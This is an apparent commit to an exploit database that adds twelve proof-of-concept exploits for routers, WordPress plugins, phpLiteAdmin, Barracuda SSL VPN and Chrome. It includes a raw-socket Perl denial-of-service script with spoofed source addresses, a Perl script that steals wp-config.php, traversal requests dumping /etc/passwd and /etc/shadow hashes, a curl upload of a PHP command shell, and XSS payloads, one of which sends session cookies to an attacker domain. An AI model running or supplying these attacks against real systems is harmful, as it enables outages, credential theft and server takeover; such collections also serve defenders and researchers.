DB: 2015-07-08

12 new exploits
2015-07-08 05:03:12 +00:00 · 2015-07-08 05:03:12 +00:00 · 91c236ab2c
commit 91c236ab2c
parent d724ef2617
13 changed files with 703 additions and 1 deletions
--- a/files.csv
+++ b/files.csv
@ -33840,10 +33840,22 @@ id,file,description,date,author,platform,type,port
 37488,platforms/asp/webapps/37488.txt,"WebsitePanel 'ReturnUrl' Parameter URI Redirection Vulnerability",2012-07-09,"Anastasios Monachos",asp,webapps,0
 37489,platforms/php/webapps/37489.txt,"MGB Multiple Cross Site Scripting and SQL Injection Vulnerabilities",2012-07-09,"Stefan Schurtz",php,webapps,0
 37492,platforms/ios/webapps/37492.txt,"WK UDID v1.0.1 iOS - Command Inject Vulnerability",2015-07-05,Vulnerability-Lab,ios,webapps,0
+37494,platforms/php/webapps/37494.txt,"Wordpress S3Bubble Cloud Video With Adverts & Analytics 0.7 - Arbitrary File Download",2015-07-05,CrashBandicot,php,webapps,0
 37500,platforms/php/webapps/37500.txt,"Funeral Script PHP Cross Site Scripting and SQL Injection Vulnerabilities",2012-06-17,snup,php,webapps,0
 37501,platforms/php/webapps/37501.rb,"WordPress Generic Plugin Arbitrary File Upload Vulnerability",2012-07-13,KedAns-Dz,php,webapps,0
 37502,platforms/php/webapps/37502.txt,"Elite Bulletin Board Multiple SQL Injection Vulnerabilities",2012-07-15,ToXiC,php,webapps,0
 37503,platforms/php/webapps/37503.txt,"Event Calender PHP Multiple Input Validation Vulnerabilities",2012-07-16,snup,php,webapps,0
-37504,platforms/android/webapps/37504.py,"AirDroid Unauthenticated Arbitrary File Upload",2015-07-06,"Parsa Adib",android,webapps,8888
+37504,platforms/android/webapps/37504.py,"AirDroid - Unauthenticated Arbitrary File Upload",2015-07-06,"Parsa Adib",android,webapps,8888
 37505,platforms/php/webapps/37505.txt,"Simple Machines 2.0.2 Multiple HTML Injection Vulnerabilities",2012-07-16,"Benjamin Kunz Mejri",php,webapps,0
 37506,platforms/php/webapps/37506.php,"WordPress Post Recommendations Plugin 'abspath' Parameter Remote File Include Vulnerability",2012-07-16,"Sammy FORGIT",php,webapps,0
+37507,platforms/php/webapps/37507.txt,"web@all 'name' Parameter Cross Site Scripting Vulnerability",2012-07-16,"Sammy FORGIT",php,webapps,0
+37508,platforms/php/webapps/37508.txt,"Rama Zeiten CMS 'download.php' Remote File Disclosure Vulnerability",2012-07-16,"Sammy FORGIT",php,webapps,0
+37509,platforms/php/webapps/37509.txt,"EmbryoCore CMS 1.03 'loadcss.php' Multiple Directory Traversal Vulnerabilities",2012-07-16,"Sammy FORGIT",php,webapps,0
+37510,platforms/windows/remote/37510.c,"Google Chrome 19.0.1084.52 'metro_driver.dll' DLL Loading Arbitrary Code Execution Vulnerability",2012-06-26,"Moshe Zioni",windows,remote,0
+37511,platforms/php/webapps/37511.txt,"AVA VoIP Multiple Security Vulnerabilities",2012-07-17,"Ibrahim El-Sayed",php,webapps,0
+37512,platforms/hardware/remote/37512.txt,"Barracuda SSL VPN launchAgent.do return-To Parameter XSS",2012-07-18,"Benjamin Kunz Mejri",hardware,remote,0
+37513,platforms/hardware/remote/37513.txt,"Barracuda SSL VPN fileSystem.do Multiple Parameter XSS",2012-07-18,"Benjamin Kunz Mejri",hardware,remote,0
+37514,platforms/php/webapps/37514.txt,"WordPress ACF Frontend Display Plugin 2.0.5 - File Upload Vulnerability",2015-07-07,"TUNISIAN CYBER",php,webapps,80
+37515,platforms/php/webapps/37515.txt,"phpliteadmin 1.1 - Multiple Vulnerabilities",2015-07-07,"John Page",php,webapps,80
+37516,platforms/hardware/webapps/37516.txt,"Dlink DSL-2750u and DSL-2730u - Authenticated Local File Disclosure",2015-07-07,"SATHISH ARTHAR",hardware,webapps,0
+37517,platforms/hardware/dos/37517.pl,"INFOMARK IMW-C920W miniupnpd 1.0 - Denial of Service",2015-07-07,"Todor Donev",hardware,dos,1900
--- a/platforms/hardware/dos/37517.pl
+++ b/platforms/hardware/dos/37517.pl
@ -0,0 +1,224 @@
+#!/usr/bin/perl
+#
+#  miniupnpd/1.0 remote denial of service exploit
+#
+#  Copyright 2015 (c) Todor Donev 
+#  todor.donev@gmail.com
+#  http://www.ethical-hacker.org/
+#  https://www.facebook.com/ethicalhackerorg
+#
+#  The SSDP protocol can discover Plug & Play devices, 
+#  with uPnP (Universal Plug and Play). SSDP is HTTP 
+#  like protocol and work with NOTIFY and M-SEARCH 
+#  methods.  
+#
+#  See also: 
+#  CVE-2013-0229 
+#  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0229  
+#  CVE-2013-0230
+#  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0230
+#  
+#  Tested on
+#  Device Name :            IMW-C920W
+#  Device Manufacturer :    INFOMARK (http://infomark.co.kr)
+#  
+#  These devices are commonly used by Max Telecom, Bulgaria
+#
+#  Disclaimer:
+#  This or previous program is for Educational
+#  purpose ONLY. Do not use it without permission.
+#  The usual disclaimer applies, especially the
+#  fact that Todor Donev is not liable for any
+#  damages caused by direct or indirect use of the
+#  information or functionality provided by these
+#  programs. The author or any Internet provider
+#  bears NO responsibility for content or misuse
+#  of these programs or any derivatives thereof.
+#  By using these programs you accept the fact
+#  that any damage (dataloss, system crash,
+#  system compromise, etc.) caused by the use
+#  of these programs is not Todor Donev's
+#  responsibility.
+#   
+#  Use at your own risk!
+#
+#  See also:
+#  SSDP Reflection DDoS Attacks 
+#  http://tinyurl.com/mqwj6xt
+#
+#######################################
+#
+# # perl miniupnpd.pl
+# 
+# [  miniupnpd/1.0 remote denial of service exploit ]
+# [ =============================================== ]
+# [  Usage:					    
+# [ ./miniupnpd.pl <victim address> <spoofed address>
+# [  Example:
+# [ perl miniupnpd.pl 192.168.1.1 133.73.13.37
+# [  Example:
+# [ perl miniupnpd.pl 192.168.1.1
+# [ =============================================== ]
+# [ 2015  <todor.donev@gmail.com> Todor Donev  2015 ]
+#
+# # nmap -sU 192.168.1.1 -p1900 --script=upnp-info
+#
+# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
+# Nmap scan report for 192.168.1.1
+# Host is up (0.00078s latency).
+# PORT     STATE SERVICE
+# 1900/udp open  upnp
+# | upnp-info:
+# | 192.168.1.1
+# |     Server: 1.0 UPnP/1.0 miniupnpd/1.0
+# |     Location: http://192.168.1.1:5000/rootDesc.xml
+# |       Webserver: 1.0 UPnP/1.0 miniupnpd/1.0
+# |       Name: INFOMARK Router
+# |       Manufacturer: INFOMARK
+# |       Model Descr: INFOMARK Router
+# |       Model Name: INFOMARK Router
+# |       Model Version: 1
+# |       Name: WANDevice
+# |       Manufacturer: MiniUPnP
+# |       Model Descr: WAN Device
+# |       Model Name: WAN Device
+# |       Model Version: 20070228
+# |       Name: WANConnectionDevice
+# |       Manufacturer: MiniUPnP
+# |       Model Descr: MiniUPnP daemon
+# |       Model Name: MiniUPnPd
+# |_      Model Version: 20070228
+# MAC Address: 00:00:00:00:00:00 (Infomark Co.)           // CENSORED
+#  
+# Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
+#
+# # perl miniupnpd.pl 192.168.1.1
+#
+# [  miniupnpd/1.0 remote denial of service exploit ]
+# [ =============================================== ]
+# [ Target: 192.168.1.1
+# [ Send malformed SSDP packet..
+#
+# # nmap -sU 192.168.1.1 -p1900
+#  
+# Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
+# Nmap scan report for 192.168.1.1
+# Host is up (0.00085s latency).
+# PORT     STATE  SERVICE
+# 1900/udp closed upnp                                    // GOOD NIGHT, SWEET PRINCE.... :D
+# MAC Address: 00:00:00:00:00:00 (Infomark Co.)           // CENSORED
+#  
+# Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
+#
+#
+# Special thanks to HD Moore ..
+#
+
+use Socket;
+
+if ( $< != 0 ) {
+   print "Sorry, must be run as root!\n";
+   print "This script use RAW Socket.\n"; 
+   exit;
+}
+
+my $ip_src = (gethostbyname($ARGV[1]))[4];
+my $ip_dst = (gethostbyname($ARGV[0]))[4];
+
+print "\n[  miniupnpd/1.0 remote denial of service exploit ]\n";
+print "[ =============================================== ]\n";
+select(undef, undef, undef, 0.40);
+
+if (!defined $ip_dst) {
+    print "[  Usage:\n[ ./$0 <victim address> <spoofed address>\n";
+    select(undef, undef, undef, 0.55);
+    print "[  Example:\n[ perl $0 192.168.1.1 133.73.13.37\n";
+    print "[  Example:\n[ perl $0 192.168.1.1\n";
+    print "[ =============================================== ]\n";
+    print "[ 2015  <todor.donev\@gmail.com> Todor Donev  2015 ]\n\n";
+    exit;
+}
+socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
+setsockopt(RAW, 0, 1, 1) or die $!;
+main();
+
+    # Main program
+sub main {
+    my $packet;
+    
+    $packet = iphdr();
+    $packet .= udphdr();
+    $packet .= payload();
+    # b000000m...
+    send_packet($packet);
+}
+
+    # IP header (Layer 3)
+sub iphdr {
+    my $ip_ver         	= 4;                 			# IP Version 4            (4 bits)
+    my $iphdr_len      	= 5;                    		# IP Header Length        (4 bits)
+    my $ip_tos         	= 0;                    		# Differentiated Services (8 bits)
+    my $ip_total_len   	= $iphdr_len + 20;      		# IP Header Length + Data (16 bits)
+    my $ip_frag_id     	= 0;                    		# Identification Field    (16 bits)
+    my $ip_frag_flag   	= 000;                			# IP Frag Flags (R DF MF) (3 bits)
+    my $ip_frag_offset 	= 0000000000000;      			# IP Fragment Offset      (13 bits)
+    my $ip_ttl         	= 255;                  		# IP TTL                  (8 bits)
+    my $ip_proto       	= 17;                   		# IP Protocol             (8 bits)
+    my $ip_checksum    	= 0;                    		# IP Checksum             (16 bits)
+    my $ip_src=gethostbyname(&randip) if !$ip_src; 		# IP Source 		  (32 bits)
+    # IP Packet construction
+	my $iphdr	= pack(
+				'H2 H2 n n B16 h2 c n a4 a4',
+				$ip_ver . $iphdr_len, $ip_tos, $ip_total_len,
+				$ip_frag_id, $ip_frag_flag . $ip_frag_offset,
+				$ip_ttl, $ip_proto, $ip_checksum,
+				$ip_src, $ip_dst
+			);
+
+        return $iphdr;
+}
+
+    # UDP header (Layer 4)
+sub udphdr {
+    my $udp_src_port	= 31337;                     # UDP Sort Port           (16 bits) (0-65535)
+    my $udp_dst_port	= 1900;	                     # UDP Dest Port           (16 btis) (0-65535)
+    my $udp_len		= 8 + length(payload());     # UDP Length              (16 bits) (0-65535)
+    my $udp_checksum 	= 0;                         # UDP Checksum            (16 bits) (XOR of header)
+
+    # UDP Packet
+    	my $udphdr      = pack(
+				'n n n n',
+				$udp_src_port, $udp_dst_port,
+				$udp_len, $udp_checksum
+				);
+        return $udphdr;
+}
+
+    # Create SSDP Bomb
+sub payload {
+     my $data;
+     my $head;
+     $data = "M-SEARCH * HTTP\/1.1\\r\\n";
+     for (0..1260) { $data .= chr( int(rand(25) + 65) ); }
+     my $payload = pack('a' . length($data), $data);
+return $payload;
+}
+
+    # Generate random source ip address
+sub randip () {
+srand(time() ^ ($$ + ($$ << 15)));
+     my $ipdata;
+        $ipdata 	= join ('.', (int(rand(255)), int(rand(255)), int(rand(255)), int(rand(255)))), "\n";
+     my $ipsrc 		= pack('A' . length($ipdata), rand($ipdata));
+return $ipdata;
+}
+
+    # Send the malformed packet
+sub send_packet {
+    print "[ Target: $ARGV[0]\n";
+    select(undef, undef, undef, 0.30);
+    print "[ Send malformed SSDP packet..\n\n";
+    send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ip_dst)) or die $!;
+}
+
+
--- a/platforms/hardware/remote/37512.txt
+++ b/platforms/hardware/remote/37512.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/54593/info
+
+Barracuda SSL VPN 680 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
+
+Barracuda SSL VPN 680 versions prior to 2.2.2.203 are vulnerable. 
+
+www.example.com/launchAgent.do?launchId=l3ce418&returnTo=[NON-PERSISTENT SCRIPT CODE!] 
--- a/platforms/hardware/remote/37513.txt
+++ b/platforms/hardware/remote/37513.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/54593/info
+ 
+Barracuda SSL VPN 680 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
+ 
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
+ 
+Barracuda SSL VPN 680 versions prior to 2.2.2.203 are vulnerable. 
+
+www.example.com/fileSystem.do?launchId=l52ca6d&actionTarget=list&path=smb/Sales%20Folder/Testing %20from%20Tri%20Opt/%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C 
--- a/platforms/hardware/webapps/37516.txt
+++ b/platforms/hardware/webapps/37516.txt
@ -0,0 +1,114 @@
+#[+] Author: SATHISH ARTHAR
+#[+] Exploit Title: Dlink Wireless Router Password File Access Exploit (Local File Inclusion)
+#[+] Date: 07-07-2015
+#[+] Platform: Hardware
+#[+] Tested on: linux
+#[+] Vendor: http://www.dlink.co.in
+#[+] Product web page: http://www.dlink.co.in
+
+#[+] Affected version:
+DSL-2750u (firmware: IN_1.08 )
+DSL-2730u (firmware: IN_1.02 )
+
+#[+] Sites: sathisharthars.wordpress.com
+#[+] Twitter: @sathisharthars
+#[+] Thanks: offensive security (@offsectraining)
+
+
+#########################################################################
+Dlink Wireless Router Password File Access Exploit
+#########################################################################
+
+Summary:
+
+The Dlink DSL-2750u and DSL-2730u wireless router improves
+your legacy Wireless-G network. It is a simple, secure way to share your
+Internet connection and allows you to easily surf the Internet, use email,
+and have online chats. The quick, CD-less setup can be done through a web
+browser. The small, efficient design fits perfectly into your home and
+small office.
+
+
+Desc:
+
+The router suffers from an authenticated file inclusion vulnerability
+(LFI) when input passed thru the 'getpage' parameter to 'webproc' script is
+not properly verified before being used to include files. This can be exploited
+to include files from local resources.
+
+
+Tested on: mini_httpd/1.19 19dec2003
+
+
+
+===============================================================
+
+
+GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd HTTP/1.1
+
+Host: 192.168.31.10
+
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0
+
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+
+Accept-Language: en-US,en;q=0.5
+
+Accept-Encoding: gzip, deflate
+
+Cookie: sessionid=2b48aa9b
+
+Connection: keep-alive
+
+
+
+HTTP/1.0 200 OK
+
+Content-type: text/html
+
+Pragma: no-cache
+
+Cache-Control: no-cache
+
+set-cookie: sessionid=2b48aa9b; expires=Fri, 31-Dec-9999 23:59:59 GMT;path=/
+
+
+
+#root:x:0:0:root:/root:/bin/bash
+root:x:0:0:root:/root:/bin/sh
+#tw:x:504:504::/home/tw:/bin/bash
+#tw:x:504:504::/home/tw:/bin/msh
+
+
+GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/shadow HTTP/1.1
+
+Host: 192.168.31.10
+
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0
+
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+
+Accept-Language: en-US,en;q=0.5
+
+Accept-Encoding: gzip, deflate
+
+Cookie: sessionid=2b48aa9b
+
+Connection: keep-alive
+
+
+HTTP/1.0 200 OK
+
+Content-type: text/html
+
+Pragma: no-cache
+
+Cache-Control: no-cache
+
+set-cookie: sessionid=2b48aa9b; expires=Fri, 31-Dec-9999 23:59:59 GMT;path=/
+
+
+
+#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
+root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
+#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
--- a/platforms/php/webapps/37494.txt
+++ b/platforms/php/webapps/37494.txt
@ -0,0 +1,70 @@
+# Exploit Title: Wordpress S3Bubble Cloud Video With Adverts & Analytics - Arbitrary File Download
+# Google Dork: inurl:/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/
+# Date: 04/07/2015
+# Exploit Author: CrashBandicot @DosPerl
+# Vendor Homepage: https://s3bubble.com
+# Software Link: https://wordpress.org/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/
+# Version: 0.7
+# Tested on: MSWin32
+
+#EDB note: updated Software link to correct plugin.
+
+# Vulnerable File : /wp-content/plugins/..../assets/plugins/ultimate/content/downloader.php
+
+<?php 
+   header("Content-Type: application/octet-stream");
+   header("Content-Disposition: attachment; filename=". $_GET['name']);
+   $path = urldecode($_GET['path']);
+   if(isset($path))readfile($path);
+?>
+
+
+# PoC : http://127.0.0.1/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?name=wp-config.php&path=../../../../../../../wp-config.php
+
+
+# Exploit : 
+
+
+#!/usr/bin/perl
+
+use LWP::UserAgent;
+ 
+system(($^O eq 'MSWin32') ? 'cls' : 'clear');
+ 
+if(@ARGV < 2)
+{
+die("\n\n[+] usage : perl $0 site.com /path/");
+}
+
+print q{
+       Wordpress S3Bubble Cloud Video With Adverts & Analytics - Arbitrary File Download
+                           ->CrashBandicot
+ 
+ 
+};
+
+($Target,$path) = @ARGV;
+
+if($Target !~ /^(http|https):\/\//)
+{
+$Target = "http://$Target";
+}
+
+$xpl = "/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php";
+my $url = $Target.$path.$xpl;
+print "\n [?] Exploiting ...... \n\n";
+ 
+$ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
+$req = $ua->get($url,":content_file" => "wp-config.php");
+ 
+if ($req->is_success)
+{
+print "[+] $url Exploited!\n\n";
+print "[+] File save to name : wp-config.php\n";
+}
+else
+{
+die("[!] Exploit Failed !\n");
+}
+
+_END_
--- a/platforms/php/webapps/37507.txt
+++ b/platforms/php/webapps/37507.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/54466/info
+
+web@all is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+web@all 2.0 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/webatall-2.0/my/kindeditor/?name=%3Cscript%3Ealert%28123%29%3C/script%3E 
--- a/platforms/php/webapps/37508.txt
+++ b/platforms/php/webapps/37508.txt
@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/54467/info
+
+Rama Zeiten CMS is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input.
+
+An attacker can exploit this vulnerability to view local files in the context of the web server process, which may aid in further attacks.
+
+Rama Zeiten CMS 0.99 is vulnerable; other versions may also be affected.
+
+http://www.example.com/ramazeiten/download.php?file=../../../../../etc/passwd 
--- a/platforms/php/webapps/37509.txt
+++ b/platforms/php/webapps/37509.txt
@ -0,0 +1,17 @@
+source: http://www.securityfocus.com/bid/54470/info
+
+EmbryoCore CMS is prone to multiple directory-traversal vulnerabilities because it fails to properly sanitize user-supplied input.
+
+Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.
+
+Exploiting these issues may allow an attacker to obtain sensitive information that could aid in further attacks.
+
+EmbryoCore 1.03 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/embryocore1.03/libs/common/loadscript.php?j=./configuration.php%00
+
+http://www.example.com/embryocore1.03/libs/common/loadscript.php?j=../../../../../../etc/passwd%00
+
+http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=../../../../../../etc/passwd%00
+
+http://www.example.com/embryocore1.03/libs/common/loadcss.php?c=./configuration.php%00 
--- a/platforms/php/webapps/37511.txt
+++ b/platforms/php/webapps/37511.txt
@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/54591/info
+
+AVA VoIP is prone to multiple security vulnerabilities because the application fails to sanitize user-supplied input.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, upload and execute arbitrary files in the context of the web server, and launch other attacks.
+
+AVA VoIP 1.5.12 is vulnerable; other versions may also be affected. 
+
+http://www.example.com/agent_accounts_report.php?agent_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C
+http://www.example.com/tariff_add.php?tariff_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C
+http://www.example.com/routeset_set.php?routeset_id=%22%3E%3Ciframe%20src=http://www.example1.com%20onload=alert%28%22VL%22%29%20%3C 
--- a/platforms/php/webapps/37514.txt
+++ b/platforms/php/webapps/37514.txt
@ -0,0 +1,19 @@
+---------------------------------------------------------------------------+ 
+#[+] Author: TUNISIAN CYBER 
+#[+] Title: WP Plugin Free ACF Frontend Display File Upload Vulnerability 
+#[+] Date: 3-07-2015 
+#[+] Type: WebAPP 
+#[+] Download Plugin: https://downloads.wordpress.org/plugin/acf-frontend-display.2.0.5.zip
+#[+] Tested on: KaliLinux 
+#[+] Friendly Sites: sec4ever.com 
+#[+] Twitter: @TCYB3R 
+---------------------------------------------------------------------------+ 
+
+curl -k -X POST -F "action=upload" -F "files=@/root/Desktop/evil.php" "site:wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/index.php" 
+
+File Path: site/wp-content/uploads/uigen_YEAR/file.php 
+Example: site/wp-content/uploads/uigen_2015/evil.php 
+evil.php: <?php passthru($_GET['cmd']); ?> 
+
+
+TUNISIAN CYBER(miutex)-S4E 		 	   		  
--- a/platforms/php/webapps/37515.txt
+++ b/platforms/php/webapps/37515.txt
@ -0,0 +1,172 @@
+# Exploit Title:  CSRF & XSS
+# Google Dork: intitle: CSRF & XSS
+# Date: 2015-07-05
+# Exploit Author:  John Page ( hyp3rlinx )
+# Website: hyp3rlinx.altervista.org
+# Vendor Homepage: bitbucket.org/phpliteadmin
+# Software Link: bitbucket.org/phpliteadmin
+# Version: v1.1
+# Tested on: windows 7
+# Category: webapps
+
+Vendor:
+================================
+bitbucket.org/phpliteadmin
+
+Product:
+================================
+phpLiteAdmin v1.1
+
+Advisory Information:
+================================================
+CSRF & XSS Vulnerabilities
+
+Vulnerability Details:
+======================
+
+CSRF:
+------
+No CSRF token exists when making calls to various SQL operations
+therefore we can get user to drop the whole database tables if they click
+on our malicious link and table is known.
+
+XSS:
+------
+There are three XSS vulnerabilities I point out first is use of 'PHP_SELF',
+second is unsanitized parameter
+for SQL statement when calling drop table method e.g. '
+http://localhost/phpliteadmin.php?droptable=[XSS]'
+and third is an unsanitized 'table' parameter e.g. '
+http://localhost/phpliteadmin_v1-1/phpliteadmin.php?table=[XSS]'
+
+Lets look at the first one more in depth as its more fun.
+phpliteadmin uses a PHP reserved server variable $_SERVER['PHP_SELF'] which
+is vulnerable if not used correctly
+allowing us to inject an XSS payload to steal session cookies and navigate
+them to a place of our choosing
+in order to cause mayhem.
+
+On line 32 of 'phpliteadmin.php' we find vulnerable code:
+
+--------------------------------------------------------
+//build the basename of this file
+$nameArr = explode("?", $_SERVER['PHP_SELF']);
+$thisName = $nameArr[0];
+$nameArr = explode("/", $thisName);
+$thisName = $nameArr[sizeof($nameArr)-1];
+
+//constants
+define("VERSION", "1.1");
+define("PAGE", $thisName);
+-------------------------------------------------------
+
+In PHP docs we find the following explanation of 'PHP_SELF':
+"The filename of the currently executing script, relative to the document
+root."
+ref: http://php.net/manual/en/reserved.variables.server.php
+
+It is known $_SERVER['PHP_SELF'] can make your application insecure as we
+can inject code following a forward slash "/"
+But we have slight problem to overcome, we can execute code but our forward
+slashes will not be processed correctly
+and exploit will FAIL! leaving us with the following useless URL instead of
+taking the victim to a domain of our choice.
+
+
+Fail exploit example:
+http://localhost/phpliteadmin_v1-1/phpliteadmin.php/
+"'onMouseOver="window.open('http://hyp3rlinx.altervista.org')"
+
+Failed Result:
+http://localhost/phpliteadmin_v1-1/phpliteadmin.php/hyp3rlinx.altervista.org
+
+
+But all is NOT lost!, we will construct our malicious URL forward slashes
+in our JS call to window.open() method using
+String.charCodeAt(58) for ':' and String.charCodeAt(47) for '/' which will
+NOW give us what we seek, control over the users browser
+taking them to some terrible dark place.
+
+Bypass $_SERVER['PHP_SELF'] forward slash '//' processing issue:
+
+Tada!, our successful XSS exploit:
+http://localhost/phpliteadmin_v1-1/phpliteadmin.php/"'onMouseOver="(function(){var
+x='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+'
+hyp3rlinx.altervista.org';window.open(x);})()"
+
+
+Exploit code(s):
+===============
+
+XSS(s) POC:
+----------
+
+
+1- $_SERVER['PHP_SELF'] XSS exploit steals current admin session cookie and
+sends to remote server:
+http://localhost/phpliteadmin_v1-1/phpliteadmin.php/"'onMouseOver="(function(){var
+x='http';x+=String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+'MALICIOUS-DOMAIN';window.open(x+String.fromCharCode(47)+'cookietheft.php'+String.fromCharCode(63)+'='+document.cookie);})()"
+
+
+2- SQL droptable XSS:
+http://localhost/sectest/phpliteadmin_v1-1/phpliteadmin.php?droptable=
+<script>alert(666)</script>
+
+
+3- SQL table XSS:
+http://localhost/phpliteadmin_v1-1/phpliteadmin.php?table=
+"/><script>alert(666)</script>
+
+
+
+CSRF POC:
+---------
+Drop tables:
+localhost/phpliteadmin_v1-1/phpliteadmin.php?droptable=mytable&confirm=1
+
+
+
+Disclosure Timeline:
+=========================================================
+
+
+Vendor Notification:  NA
+July 5, 2015  : Public Disclosure
+
+
+
+Severity Level:
+=========================================================
+Med
+
+
+
+Description:
+==========================================================
+
+
+Request Method(s):              [+] GET
+
+
+Vulnerable Product:             [+] phpliteadmin_v1-1
+
+
+Vulnerable Parameter(s):        [+] $_SERVER['PHP_SELF'], droptable, table
+
+
+Affected Area(s):               [+] Admin
+
+
+===========================================================
+
+[+] Disclaimer
+Permission is hereby granted for the redistribution of this advisory,
+provided that it is not altered except by reformatting it, and that due
+credit is given. Permission is explicitly given for insertion in
+vulnerability databases and similar, provided that due credit is given to
+the author. The author is not responsible for any misuse of the information
+contained herein and prohibits any malicious use of all security related
+information or exploits by the author or elsewhere.
+
+
+(hyp3rlinx)
--- a/platforms/windows/remote/37510.c
+++ b/platforms/windows/remote/37510.c
@ -0,0 +1,27 @@
+source: http://www.securityfocus.com/bid/54477/info
+
+Google Chrome is prone to a vulnerability that lets attackers execute arbitrary code.
+
+An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Linked Library (DLL) file.
+
+Google Chrome 19.0.1084.21 through versions 20.0.1132.23 are vulnerable.
+
+Note: This issue was previously discussed in BID 54203 (Google Chrome Prior to 20.0.1132.43 Multiple Security Vulnerabilities), but has been given its own record to better document it. 
+
+ #include <windows.h>
+
+    int hijack_poc ()
+    {
+      WinExec ( "calc.exe" , SW_NORMAL );
+      return 0 ;
+    }
+    
+    BOOL WINAPI DllMain
+         (    HINSTANCE hinstDLL ,
+            DWORD dwReason ,
+            LPVOID lpvReserved )
+    {
+      hijack_poc () ;
+      return 0 ;
+    }
+